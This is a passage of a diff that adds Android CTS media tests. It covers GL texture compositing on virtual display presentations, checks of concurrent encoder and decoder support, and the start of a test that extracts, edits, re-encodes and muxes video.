+                    fail("got gl exception");
+                } finally {
+                    cleanupGl();
+                    mHandler = null;
+                    mLooper = null;
+                }
+            }
+        }
+
+        private class CompositionHandler extends Handler {
+            private static final int DO_RENDERING = 1;
+            private static final int DO_RECREATE_WINDOWS = 2;
+
+            @Override
+            public void handleMessage(Message msg) {
+                try {
+                    switch(msg.what) {
+                        case DO_RENDERING: {
+                            doGlRendering();
+                        } break;
+                        case DO_RECREATE_WINDOWS: {
+                            doRecreateWindows();
+                        } break;
+                    }
+                } catch (GlException e) {
+                    //ignore as this can happen during tearing down
+                }
+            }
+        }
+
+        private class GlWindow {
+            private static final int FLOAT_SIZE_BYTES = 4;
+            private static final int TRIANGLE_VERTICES_DATA_STRIDE_BYTES = 5 * FLOAT_SIZE_BYTES;
+            private static final int TRIANGLE_VERTICES_DATA_POS_OFFSET = 0;
+            private static final int TRIANGLE_VERTICES_DATA_UV_OFFSET = 3;
+            private int mBlX;
+            private int mBlY;
+            private int mWidth;
+            private int mHeight;
+            private int mTextureId = 0; // 0 is invalid
+            private volatile SurfaceTexture mSurfaceTexture;
+            private volatile Surface mSurface;
+            private FloatBuffer mVerticesData;
+            private float[] mSTMatrix = new float[16];
+            private AtomicInteger mNumTextureUpdated = new AtomicInteger(0);
+            private GlCompositor mCompositor;
+
+            /**
+             * @param blX X coordinate of bottom-left point of window
+             * @param blY Y coordinate of bottom-left point of window
+             * @param w window width
+             * @param h window height
+             */
+            public GlWindow(GlCompositor compositor, int blX, int blY, int w, int h) {
+                mCompositor = compositor;
+                mBlX = blX;
+                mBlY = blY;
+                mWidth = w;
+                mHeight = h;
+                int trX = blX + w;
+                int trY = blY + h;
+                float[] vertices = new float[] {
+                        // x, y, z, u, v
+                        mBlX, mBlY, 0, 0, 0,
+                        trX, mBlY, 0, 1, 0,
+                        mBlX, trY, 0, 0, 1,
+                        trX, trY, 0, 1, 1
+                };
+                Log.i(TAG, "create window " + this + " blX:" + mBlX + " blY:" + mBlY + " trX:" +
+                        trX + " trY:" + trY);
+                mVerticesData = ByteBuffer.allocateDirect(
+                        vertices.length * FLOAT_SIZE_BYTES)
+                                .order(ByteOrder.nativeOrder()).asFloatBuffer();
+                mVerticesData.put(vertices).position(0);
+            }
+
+            /**
+             * initialize the window for composition. counter-part is cleanup()
+             * @throws GlException
+             */
+            public void init() throws GlException {
+                int[] textures = new int[1];
+                GLES20.glGenTextures(1, textures, 0);
+
+                mTextureId = textures[0];
+                GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, mTextureId);
+                checkGlError("glBindTexture mTextureID");
+
+                GLES20.glTexParameterf(GLES11Ext.GL_TEXTURE_EXTERNAL_OES,
+                        GLES20.GL_TEXTURE_MIN_FILTER, GLES20.GL_NEAREST);
+                GLES20.glTexParameterf(GLES11Ext.GL_TEXTURE_EXTERNAL_OES,
+                        GLES20.GL_TEXTURE_MAG_FILTER, GLES20.GL_NEAREST);
+                GLES20.glTexParameteri(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_WRAP_S,
+                        GLES20.GL_CLAMP_TO_EDGE);
+                GLES20.glTexParameteri(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_WRAP_T,
+                        GLES20.GL_CLAMP_TO_EDGE);
+                checkGlError("glTexParameter");
+                mSurfaceTexture = new SurfaceTexture(mTextureId);
+                mSurfaceTexture.setDefaultBufferSize(mWidth, mHeight);
+                mSurface = new Surface(mSurfaceTexture);
+                mSurfaceTexture.setOnFrameAvailableListener(mCompositor);
+            }
+
+            public void cleanup() {
+                mNumTextureUpdated.set(0);
+                if (mTextureId != 0) {
+                    int[] textures = new int[] {
+                            mTextureId
+                    };
+                    GLES20.glDeleteTextures(1, textures, 0);
+                }
+                GLES20.glFinish();
+                if (mSurface != null) {
+                    mSurface.release();
+                    mSurface = null;
+                }
+                if (mSurfaceTexture != null) {
+                    mSurfaceTexture.release();
+                    mSurfaceTexture = null;
+                }
+            }
+
+            /**
+             * make texture as updated so that it can be updated in the next rendering.
+             */
+            public void markTextureUpdated() {
+                mNumTextureUpdated.incrementAndGet();
+            }
+
+            /**
+             * update texture for rendering if it is updated.
+             */
+            public void updateTexImageIfNecessary() {
+                int numTextureUpdated = mNumTextureUpdated.getAndDecrement();
+                if (numTextureUpdated > 0) {
+                    if (DBG) {
+                        Log.i(TAG, "updateTexImageIfNecessary " + this);
+                    }
+                    mSurfaceTexture.updateTexImage();
+                    mSurfaceTexture.getTransformMatrix(mSTMatrix);
+                }
+                if (numTextureUpdated < 0) {
+                    fail("should not happen");
+                }
+            }
+
+            /**
+             * draw the window. It will not be drawn at all if the window is not visible.
+             * @param uSTMatrixHandle shader handler for the STMatrix for texture coordinates
+             * mapping
+             * @param aPositionHandle shader handle for vertex position.
+             * @param aTextureHandle shader handle for texture
+             */
+            public void onDraw(int uSTMatrixHandle, int aPositionHandle, int aTextureHandle) {
+                GLES20.glActiveTexture(GLES20.GL_TEXTURE0);
+                GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, mTextureId);
+                mVerticesData.position(TRIANGLE_VERTICES_DATA_POS_OFFSET);
+                GLES20.glVertexAttribPointer(aPositionHandle, 3, GLES20.GL_FLOAT, false,
+                    TRIANGLE_VERTICES_DATA_STRIDE_BYTES, mVerticesData);
+                GLES20.glEnableVertexAttribArray(aPositionHandle);
+
+                mVerticesData.position(TRIANGLE_VERTICES_DATA_UV_OFFSET);
+                GLES20.glVertexAttribPointer(aTextureHandle, 2, GLES20.GL_FLOAT, false,
+                    TRIANGLE_VERTICES_DATA_STRIDE_BYTES, mVerticesData);
+                GLES20.glEnableVertexAttribArray(aTextureHandle);
+                GLES20.glUniformMatrix4fv(uSTMatrixHandle, 1, false, mSTMatrix, 0);
+                GLES20.glDrawArrays(GLES20.GL_TRIANGLE_STRIP, 0, 4);
+            }
+
+            public SurfaceTexture getSurfaceTexture() {
+                return mSurfaceTexture;
+            }
+
+            public Surface getSurface() {
+                return mSurface;
+            }
+        }
+    }
+
+    static void checkGlError(String op) throws GlException {
+        int error;
+        while ((error = GLES20.glGetError()) != GLES20.GL_NO_ERROR) {
+            Log.e(TAG, op + ": glError " + error);
+            throw new GlException(op + ": glError " + error);
+        }
+    }
+
+    public static class GlException extends Exception {
+        public GlException(String msg) {
+            super(msg);
+        }
+    }
+
+    private interface Renderer {
+        void doRendering(final int color) throws Exception;
+    }
+
+    private static class RotateVirtualDisplayPresentation extends VirtualDisplayPresentation {
+
+        RotateVirtualDisplayPresentation(Context context, Surface surface, int w, int h) {
+            super(context, surface, w, h);
+        }
+
+        @Override
+        protected TestPresentationBase doCreatePresentation() {
+            return new TestRotatePresentation(mContext, mVirtualDisplay.getDisplay());
+        }
+
+    }
+
+    private static class VirtualDisplayPresentation implements Renderer {
+        protected final Context mContext;
+        protected final Surface mSurface;
+        protected final int mWidth;
+        protected final int mHeight;
+        protected VirtualDisplay mVirtualDisplay;
+        protected TestPresentationBase mPresentation;
+        private final DisplayManager mDisplayManager;
+
+        VirtualDisplayPresentation(Context context, Surface surface, int w, int h) {
+            mContext = context;
+            mSurface = surface;
+            mWidth = w;
+            mHeight = h;
+            mDisplayManager = (DisplayManager)context.getSystemService(Context.DISPLAY_SERVICE);
+        }
+
+        void createVirtualDisplay() {
+            runOnMainSync(new Runnable() {
+                @Override
+                public void run() {
+                    mVirtualDisplay = mDisplayManager.createVirtualDisplay(
+                            TAG, mWidth, mHeight, 200, mSurface,
+                            DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY |
+                            DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION);
+                }
+            });
+        }
+
+        void destroyVirtualDisplay() {
+            runOnMainSync(new Runnable() {
+                @Override
+                public void run() {
+                    mVirtualDisplay.release();
+                }
+            });
+        }
+
+        void createPresentation() {
+            runOnMainSync(new Runnable() {
+                @Override
+                public void run() {
+                    mPresentation = doCreatePresentation();
+                    mPresentation.show();
+                }
+            });
+        }
+
+        protected TestPresentationBase doCreatePresentation() {
+            return new TestPresentation(mContext, mVirtualDisplay.getDisplay());
+        }
+
+        TestPresentationBase getPresentation() {
+            return mPresentation;
+        }
+
+        void dismissPresentation() {
+            runOnMainSync(new Runnable() {
+                @Override
+                public void run() {
+                    mPresentation.dismiss();
+                }
+            });
+        }
+
+        @Override
+        public void doRendering(final int color) throws Exception {
+            runOnMainSync(new Runnable() {
+                @Override
+                public void run() {
+                    mPresentation.doRendering(color);
+                }
+            });
+        }
+    }
+
+    private static class TestPresentationBase extends Presentation {
+
+        public TestPresentationBase(Context outerContext, Display display) {
+            // This theme is required to prevent an extra view from obscuring the presentation
+            super(outerContext, display,
+                    android.R.style.Theme_Holo_Light_NoActionBar_TranslucentDecor);
+            getWindow().addFlags(WindowManager.LayoutParams.FLAG_LOCAL_FOCUS_MODE);
+            getWindow().addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
+        }
+
+        public void doRendering(int color) {
+            // to be implemented by child
+        }
+    }
+
+    private static class TestPresentation extends TestPresentationBase {
+        private ImageView mImageView;
+
+        public TestPresentation(Context outerContext, Display display) {
+            super(outerContext, display);
+        }
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            mImageView = new ImageView(getContext());
+            mImageView.setImageDrawable(new ColorDrawable(COLOR_RED));
+            mImageView.setLayoutParams(new LayoutParams(
+                    LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT));
+            setContentView(mImageView);
+        }
+
+        public void doRendering(int color) {
+            if (DBG) {
+                Log.i(TAG, "doRendering " + Integer.toHexString(color));
+            }
+            mImageView.setImageDrawable(new ColorDrawable(color));
+        }
+    }
+
+    private static class TestRotatePresentation extends TestPresentationBase {
+        static final int[] kColors = new int[] {COLOR_GREY, COLOR_RED, COLOR_GREEN, COLOR_BLUE};
+        private final ImageView[] mQuadrants = new ImageView[4];
+
+        public TestRotatePresentation(Context outerContext, Display display) {
+            super(outerContext, display);
+        }
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            Context ctx = getContext();
+            TableLayout table = new TableLayout(ctx);
+            ViewGroup.LayoutParams fill = new ViewGroup.LayoutParams(
+                    ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);
+            TableLayout.LayoutParams fillTable = new TableLayout.LayoutParams(
+                    ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT, 1f);
+            TableRow.LayoutParams fillRow = new TableRow.LayoutParams(
+                    ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT, 1f);
+            table.setLayoutParams(fill);
+            table.setStretchAllColumns(true);
+            TableRow rows[] = new TableRow[] {new TableRow(ctx), new TableRow(ctx)};
+            for (int i = 0; i < mQuadrants.length; i++) {
+                mQuadrants[i] = new ImageView(ctx);
+                mQuadrants[i].setImageDrawable(new ColorDrawable(kColors[i]));
+                rows[i / 2].addView(mQuadrants[i], fillRow);
+            }
+            for (TableRow row: rows) {
+                table.addView(row, fillTable);
+            }
+            setContentView(table);
+            Log.v(TAG, "setContentView(table)");
+        }
+
+        @Override
+        public void doRendering(int color) {
+            Log.v(TAG, "doRendering: ignoring color: " + Integer.toHexString(color));
+            for (int i = 0; i < mQuadrants.length; i++) {
+                mQuadrants[i].setImageDrawable(new ColorDrawable(kColors[i]));
+            }
+        }
+
+    }
+
+    private static class TopWindowPresentation extends TestPresentationBase {
+        private FrameLayout[] mWindowsLayout = new FrameLayout[MAX_NUM_WINDOWS];
+        private CompositionTextureView[] mWindows = new CompositionTextureView[MAX_NUM_WINDOWS];
+        private final int mNumWindows;
+        private final Semaphore mWindowWaitSemaphore = new Semaphore(0);
+
+        public TopWindowPresentation(int numWindows, Context outerContext, Display display) {
+            super(outerContext, display);
+            mNumWindows = numWindows;
+        }
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            if (DBG) {
+                Log.i(TAG, "TopWindowPresentation onCreate, numWindows " + mNumWindows);
+            }
+            setContentView(R.layout.composition_layout);
+            mWindowsLayout[0] = (FrameLayout) findViewById(R.id.window0);
+            mWindowsLayout[1] = (FrameLayout) findViewById(R.id.window1);
+            mWindowsLayout[2] = (FrameLayout) findViewById(R.id.window2);
+        }
+
+        public void populateWindows() {
+            runOnMain(new Runnable() {
+                public void run() {
+                    for (int i = 0; i < mNumWindows; i++) {
+                        mWindows[i] = new CompositionTextureView(getContext());
+                        mWindows[i].setLayoutParams(new ViewGroup.LayoutParams(
+                                ViewGroup.LayoutParams.MATCH_PARENT,
+                                ViewGroup.LayoutParams.MATCH_PARENT));
+                        mWindowsLayout[i].setVisibility(View.VISIBLE);
+                        mWindowsLayout[i].addView(mWindows[i]);
+                        mWindows[i].startListening();
+                    }
+                    mWindowWaitSemaphore.release();
+                }
+            });
+        }
+
+        public void waitForSurfaceReady(long timeoutMs) throws Exception {
+            mWindowWaitSemaphore.tryAcquire(DEFAULT_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            for (int i = 0; i < mNumWindows; i++) {
+                if(!mWindows[i].waitForSurfaceReady(timeoutMs)) {
+                    fail("surface wait timeout");
+                }
+            }
+        }
+
+        public Surface getSurface(int windowIndex) {
+            Surface surface = mWindows[windowIndex].getSurface();
+            assertNotNull(surface);
+            return surface;
+        }
+    }
+
+    private static class TopWindowVirtualDisplayPresentation extends VirtualDisplayPresentation {
+        private final int mNumWindows;
+
+        TopWindowVirtualDisplayPresentation(Context context, Surface surface, int w, int h,
+                int numWindows) {
+            super(context, surface, w, h);
+            assertNotNull(surface);
+            mNumWindows = numWindows;
+        }
+
+        void waitForSurfaceReady(long timeoutMs) throws Exception {
+            ((TopWindowPresentation) mPresentation).waitForSurfaceReady(timeoutMs);
+        }
+
+        Surface getSurface(int windowIndex) {
+            return ((TopWindowPresentation) mPresentation).getSurface(windowIndex);
+        }
+
+        protected TestPresentationBase doCreatePresentation() {
+            return new TopWindowPresentation(mNumWindows, mContext, mVirtualDisplay.getDisplay());
+        }
+    }
+
+    private static class RemoteVirtualDisplayPresentation implements Renderer {
+        /** argument: Surface, int w, int h, return none */
+        private static final int BINDER_CMD_START = IBinder.FIRST_CALL_TRANSACTION;
+        /** argument: int color, return none */
+        private static final int BINDER_CMD_RENDER = IBinder.FIRST_CALL_TRANSACTION + 1;
+
+        private final Context mContext;
+        private final Surface mSurface;
+        private final int mWidth;
+        private final int mHeight;
+
+        private IBinder mService;
+        private final Semaphore mConnectionWait = new Semaphore(0);
+        private final ServiceConnection mConnection = new ServiceConnection() {
+
+            public void onServiceConnected(ComponentName arg0, IBinder arg1) {
+                mService = arg1;
+                mConnectionWait.release();
+            }
+
+            public void onServiceDisconnected(ComponentName arg0) {
+                //ignore
+            }
+
+        };
+
+        RemoteVirtualDisplayPresentation(Context context, Surface surface, int w, int h) {
+            mContext = context;
+            mSurface = surface;
+            mWidth = w;
+            mHeight = h;
+        }
+
+        void connect() throws Exception {
+            Intent intent = new Intent();
+            intent.setClassName("android.media.codec.cts",
+                    "android.media.codec.cts.RemoteVirtualDisplayService");
+            mContext.bindService(intent, mConnection, Context.BIND_AUTO_CREATE);
+            if (!mConnectionWait.tryAcquire(DEFAULT_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                fail("cannot bind to service");
+            }
+        }
+
+        void disconnect() {
+            mContext.unbindService(mConnection);
+        }
+
+        void start() throws Exception {
+            Parcel parcel = Parcel.obtain();
+            mSurface.writeToParcel(parcel, 0);
+            parcel.writeInt(mWidth);
+            parcel.writeInt(mHeight);
+            mService.transact(BINDER_CMD_START, parcel, null, 0);
+        }
+
+        @Override
+        public void doRendering(int color) throws Exception {
+            Parcel parcel = Parcel.obtain();
+            parcel.writeInt(color);
+            mService.transact(BINDER_CMD_RENDER, parcel, null, 0);
+        }
+    }
+
+    private static Size getMaxSupportedEncoderSize() {
+        final Size[] standardSizes = new Size[] {
+            new Size(1920, 1080),
+            new Size(1280, 720),
+            new Size(720, 480),
+            new Size(352, 576)
+        };
+
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (Size sz : standardSizes) {
+            MediaFormat format = MediaFormat.createVideoFormat(
+                MIME_TYPE, sz.getWidth(), sz.getHeight());
+            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+            int bitRate = BITRATE_DEFAULT;
+            if (sz.getWidth() == 1920 && sz.getHeight() == 1080) {
+                bitRate = BITRATE_1080p;
+            } else if (sz.getWidth() == 1280 && sz.getHeight() == 720) {
+                bitRate = BITRATE_720p;
+            } else if (sz.getWidth() == 800 && sz.getHeight() == 480) {
+                bitRate = BITRATE_800x480;
+            }
+            format.setInteger(MediaFormat.KEY_BIT_RATE, bitRate);
+            format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
+            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+            Log.i(TAG,"format = " + format.toString());
+            if (mcl.findEncoderForFormat(format) != null) {
+                return sz;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Check maximum concurrent encoding / decoding resolution allowed.
+     * Some H/Ws cannot support maximum resolution reported in encoder if decoder is running
+     * at the same time.
+     * Check is done for 4 different levels: 1080p, 720p, 800x480, 480p
+     * (The last one is required by CDD.)
+     */
+    public Size checkMaxConcurrentEncodingDecodingResolution() {
+        if (isConcurrentEncodingDecodingSupported(MIME_TYPE, 1920, 1080, BITRATE_1080p)) {
+            return new Size(1920, 1080);
+        } else if (isConcurrentEncodingDecodingSupported(MIME_TYPE, 1280, 720, BITRATE_720p)) {
+            return new Size(1280, 720);
+        } else if (isConcurrentEncodingDecodingSupported(MIME_TYPE, 800, 480, BITRATE_800x480)) {
+            return new Size(800, 480);
+        } else if (isConcurrentEncodingDecodingSupported(MIME_TYPE, 720, 480, BITRATE_DEFAULT)) {
+            return new Size(720, 480);
+        }
+        Log.i(TAG, "SKIPPING test: concurrent encoding and decoding is not supported");
+        return null;
+    }
+
+    public boolean isConcurrentEncodingDecodingSupported(
+            String mimeType, int w, int h, int bitRate) {
+        return isConcurrentEncodingDecodingSupported(mimeType, w, h, bitRate, null);
+    }
+
+    public boolean isConcurrentEncodingDecodingSupported(
+            String mimeType, int w, int h, int bitRate, String decoderName) {
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        MediaFormat testFormat = MediaFormat.createVideoFormat(mimeType, w, h);
+        testFormat.setInteger(MediaFormat.KEY_BIT_RATE, bitRate);
+        testFormat.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
+        if (mcl.findDecoderForFormat(testFormat) == null
+                || mcl.findEncoderForFormat(testFormat) == null) {
+            return false;
+        }
+
+        MediaCodec decoder = null;
+        OutputSurface decodingSurface = null;
+        MediaCodec encoder = null;
+        Surface encodingSurface = null;
+        try {
+            if (decoderName == null) {
+                decoder = MediaCodec.createDecoderByType(mimeType);
+            } else {
+                decoder = MediaCodec.createByCodecName(decoderName);
+            }
+            MediaFormat decoderFormat = MediaFormat.createVideoFormat(mimeType, w, h);
+            decodingSurface = new OutputSurface(w, h);
+            decodingSurface.makeCurrent();
+            decoder.configure(decoderFormat, decodingSurface.getSurface(), null, 0);
+            decoder.start();
+
+            MediaFormat format = MediaFormat.createVideoFormat(mimeType, w, h);
+            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+            format.setInteger(MediaFormat.KEY_BIT_RATE, bitRate);
+            format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
+            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+            encoder = MediaCodec.createEncoderByType(mimeType);
+            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            encodingSurface = encoder.createInputSurface();
+            encoder.start();
+
+            encoder.stop();
+            decoder.stop();
+        } catch (Exception e) {
+            e.printStackTrace();
+            Log.i(TAG, "This H/W does not support w:" + w + " h:" + h);
+            return false;
+        } finally {
+            if (encodingSurface != null) {
+                encodingSurface.release();
+            }
+            if (encoder != null) {
+                encoder.release();
+            }
+            if (decoder != null) {
+                decoder.release();
+            }
+            if (decodingSurface != null) {
+                decodingSurface.release();
+            }
+        }
+        return true;
+    }
+
+    private static void runOnMain(Runnable runner) {
+        sHandlerForRunOnMain.post(runner);
+    }
+
+    private static void runOnMainSync(Runnable runner) {
+        SyncRunnable sr = new SyncRunnable(runner);
+        sHandlerForRunOnMain.post(sr);
+        sr.waitForComplete();
+    }
+
+    private static final class SyncRunnable implements Runnable {
+        private final Runnable mTarget;
+        private boolean mComplete;
+
+        public SyncRunnable(Runnable target) {
+            mTarget = target;
+        }
+
+        public void run() {
+            mTarget.run();
+            synchronized (this) {
+                mComplete = true;
+                notifyAll();
+            }
+        }
+
+        public void waitForComplete() {
+            synchronized (this) {
+                while (!mComplete) {
+                    try {
+                        wait();
+                    } catch (InterruptedException e) {
+                        //ignore
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/ExtractDecodeEditEncodeMuxTest.java b/tests/tests/media/codec/src/android/media/codec/cts/ExtractDecodeEditEncodeMuxTest.java
new file mode 100644
index 0000000..b2fbc6c
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/ExtractDecodeEditEncodeMuxTest.java
@@ -0,0 +1,1246 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import android.annotation.TargetApi;
+import android.content.res.AssetFileDescriptor;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.CodecProfileLevel;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaMuxer;
+import android.media.MediaPlayer;
+import android.media.cts.InputSurface;
+import android.media.cts.MediaStubActivity;
+import android.media.cts.OutputSurface;
+import android.media.cts.Preconditions;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.test.ActivityInstrumentationTestCase2;
+import android.util.Log;
+import android.view.Surface;
+
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.CodecProfileLevel;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Test for the integration of MediaMuxer and MediaCodec's encoder.
+ *
+ * <p>It uses MediaExtractor to get frames from a test stream, decodes them to a surface, uses a
+ * shader to edit them, encodes them from the resulting surface, and then uses MediaMuxer to write
+ * them into a file.
+ *
+ * <p>It does not currently check whether the result file is correct, but makes sure that nothing
+ * fails along the way.
+ *
+ * <p>It also tests the way the codec config buffers need to be passed from the MediaCodec to the
+ * MediaMuxer.
+ */
+@TargetApi(18)
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class ExtractDecodeEditEncodeMuxTest
+        extends ActivityInstrumentationTestCase2<MediaStubActivity> {
+
+    private static final String TAG = ExtractDecodeEditEncodeMuxTest.class.getSimpleName();
+    private static final boolean VERBOSE = false; // lots of logging
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+
+    /** How long to wait for the next buffer to become available. */
+    private static final int TIMEOUT_USEC = 10000;
+
+    /** Where to output the test files. */
+    private static final File OUTPUT_FILENAME_DIR = Environment.getExternalStorageDirectory();
+
+    // parameters for the video encoder
+    private static final int OUTPUT_VIDEO_BIT_RATE = 2000000;   // 2Mbps
+    private static final int OUTPUT_VIDEO_FRAME_RATE = 15;      // 15fps
+    private static final int OUTPUT_VIDEO_IFRAME_INTERVAL = 10; // 10 seconds between I-frames
+    private static final int OUTPUT_VIDEO_COLOR_FORMAT =
+            MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
+
+    // parameters for the audio encoder
+                                                                // Advanced Audio Coding
+    private static final String OUTPUT_AUDIO_MIME_TYPE = MediaFormat.MIMETYPE_AUDIO_AAC;
+    private static final int OUTPUT_AUDIO_CHANNEL_COUNT = 2;    // Must match the input stream.
+    private static final int OUTPUT_AUDIO_BIT_RATE = 128 * 1024;
+    private static final int OUTPUT_AUDIO_AAC_PROFILE =
+            MediaCodecInfo.CodecProfileLevel.AACObjectHE;
+    private static final int OUTPUT_AUDIO_SAMPLE_RATE_HZ = 44100; // Must match the input stream.
+
+    /**
+     * Used for editing the frames.
+     *
+     * <p>Swaps green and blue channels by storing an RBGA color in an RGBA buffer.
+     */
+    private static final String FRAGMENT_SHADER =
+            "#extension GL_OES_EGL_image_external : require\n" +
+            "precision mediump float;\n" +
+            "varying vec2 vTextureCoord;\n" +
+            "uniform samplerExternalOES sTexture;\n" +
+            "void main() {\n" +
+            "  gl_FragColor = texture2D(sTexture, vTextureCoord).rbga;\n" +
+            "}\n";
+
+    /** Whether to copy the video from the test video. */
+    private boolean mCopyVideo;
+    /** Whether to copy the audio from the test video. */
+    private boolean mCopyAudio;
+    /** Whether to verify the audio format. */
+    private boolean mVerifyAudioFormat;
+    /** Width of the output frames. */
+    private int mWidth = -1;
+    /** Height of the output frames. */
+    private int mHeight = -1;
+
+    /** The raw resource used as the input file. */
+    private String mSourceRes;
+
+    /** The destination file for the encoded output. */
+    private String mOutputFile;
+
+    private String mOutputVideoMimeType;
+
+    public ExtractDecodeEditEncodeMuxTest() {
+        super(MediaStubActivity.class);
+    }
+
+    public void testExtractDecodeEditEncodeMuxQCIF() throws Throwable {
+        if(!setSize(176, 144)) return;
+        setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
+        setCopyVideo();
+        setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC);
+        TestWrapper.runTest(this);
+    }
+
+    public void testExtractDecodeEditEncodeMuxQVGA() throws Throwable {
+        if(!setSize(320, 240)) return;
+        setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
+        setCopyVideo();
+        setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC);
+        TestWrapper.runTest(this);
+    }
+
+    public void testExtractDecodeEditEncodeMux720p() throws Throwable {
+        if(!setSize(1280, 720)) return;
+        setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
+        setCopyVideo();
+        setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC);
+        TestWrapper.runTest(this);
+    }
+
+    public void testExtractDecodeEditEncodeMux2160pHevc() throws Throwable {
+        if(!setSize(3840, 2160)) return;
+        setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
+        setCopyVideo();
+        setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_HEVC);
+        TestWrapper.runTest(this);
+    }
+
+    public void testExtractDecodeEditEncodeMuxAudio() throws Throwable {
+        if(!setSize(1280, 720)) return;
+        setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
+        setCopyAudio();
+        setVerifyAudioFormat();
+        TestWrapper.runTest(this);
+    }
+
+    public void testExtractDecodeEditEncodeMuxAudioVideo() throws Throwable {
+        if(!setSize(1280, 720)) return;
+        setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
+        setCopyAudio();
+        setCopyVideo();
+        setVerifyAudioFormat();
+        TestWrapper.runTest(this);
+    }
+
+    /** Wraps testExtractDecodeEditEncodeMux() */
+    private static class TestWrapper implements Runnable {
+        private Throwable mThrowable;
+        private ExtractDecodeEditEncodeMuxTest mTest;
+
+        private TestWrapper(ExtractDecodeEditEncodeMuxTest test) {
+            mTest = test;
+        }
+
+        @Override
+        public void run() {
+            try {
+                mTest.extractDecodeEditEncodeMux();
+            } catch (Throwable th) {
+                mThrowable = th;
+            }
+        }
+
+        /**
+         * Entry point.
+         */
+        public static void runTest(ExtractDecodeEditEncodeMuxTest test) throws Throwable {
+            test.setOutputFile();
+            TestWrapper wrapper = new TestWrapper(test);
+            Thread th = new Thread(wrapper, "codec test");
+            th.start();
+            th.join();
+            if (wrapper.mThrowable != null) {
+                throw wrapper.mThrowable;
+            }
+        }
+    }
+
+    /**
+     * Sets the test to copy the video stream.
+     */
+    private void setCopyVideo() {
+        mCopyVideo = true;
+    }
+
+    /**
+     * Sets the test to copy the video stream.
+     */
+    private void setCopyAudio() {
+        mCopyAudio = true;
+    }
+
+    /**
+     * Sets the test to verify the output audio format.
+     */
+    private void setVerifyAudioFormat() {
+        mVerifyAudioFormat = true;
+    }
+
+    /**
+     * Sets the desired frame size and returns whether the given resolution is
+     * supported.
+     *
+     * <p>If decoding/encoding using AVC as the codec, checks that the resolution
+     * is supported. For other codecs, always return {@code true}.
+     */
+    private boolean setSize(int width, int height) {
+        if ((width % 16) != 0 || (height % 16) != 0) {
